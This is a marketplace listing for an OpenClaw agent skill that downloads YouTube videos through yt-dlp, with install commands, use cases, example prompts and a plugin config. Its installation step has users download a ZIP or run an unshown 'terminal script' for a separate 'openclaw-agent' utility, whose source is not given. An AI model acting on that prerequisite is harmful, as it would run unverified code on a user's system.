youtube-video-downloader
Download YouTube videos in various formats and qualities. Use when you need to save videos for offline viewing, extract audio, download playlists, or get specific video formats.
Why use this skill?
Efficiently download YouTube videos, playlists, and audio with the OpenClaw AI YouTube downloader. Supports high-res, subtitles, and metadata.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-fnkxwWhat This Skill Does
The youtube-video-downloader skill is a powerful, flexible tool designed to handle media acquisition from YouTube directly through the OpenClaw agent. Built upon the industry-standard yt-dlp framework, this skill enables users to download individual videos, entire playlists, or complete channel archives with precision. Beyond basic downloads, it provides advanced functionality such as format selection (up to 4K resolution), audio extraction to MP3 or M4A, subtitle embedding, and metadata management including thumbnails and chapters. Whether you are building an offline library, archiving content, or creating datasets for media analysis, this skill serves as your primary bridge between online video content and local storage.
Installation
Installation is a two-step process requiring both the OpenClaw utility and the underlying media engine. First, ensure you have the openclaw-agent utility installed on your local machine. Windows users should download the official ZIP archive, while macOS users should follow the provided terminal script to configure the environment. Once the agent is ready, install the skill using the command: clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-fnkxw. Finally, ensure Python and pip are installed, then run pip install yt-dlp. For advanced features like format conversion, installing FFmpeg via your system package manager is highly recommended.
Use Cases
- Offline Archiving: Save long-form educational content or lectures for viewing in areas with limited internet access.
- Audio Extraction: Convert music videos or podcasts into high-quality MP3s for mobile listening.
- Content Creation: Quickly retrieve raw video source files for editing, including metadata like thumbnails and subtitles.
- Automated Research: Download specific segments or ranges of playlists to analyze trends in video channels.
Example Prompts
- "Download the highest quality version of this video [URL] and embed the subtitles and thumbnail."
- "Extract the audio as an MP3 from this playlist [URL] and format the file names with the playlist index and video title."
- "Save the first 10 videos from this channel [URL] at 1080p resolution into my ~/Videos/archive folder."
Tips & Limitations
To avoid performance issues, be mindful that downloading entire channels can consume significant storage and bandwidth. Always use the -F flag to list available formats before initiating large downloads, as this prevents unwanted file sizes. Keep FFmpeg updated to ensure smooth merging of video and audio streams, especially for high-resolution content. Finally, be aware that age-restricted videos or geo-blocked content may require additional authentication or VPN support, which should be configured at the agent level.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-video-downloader-fnkxw": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.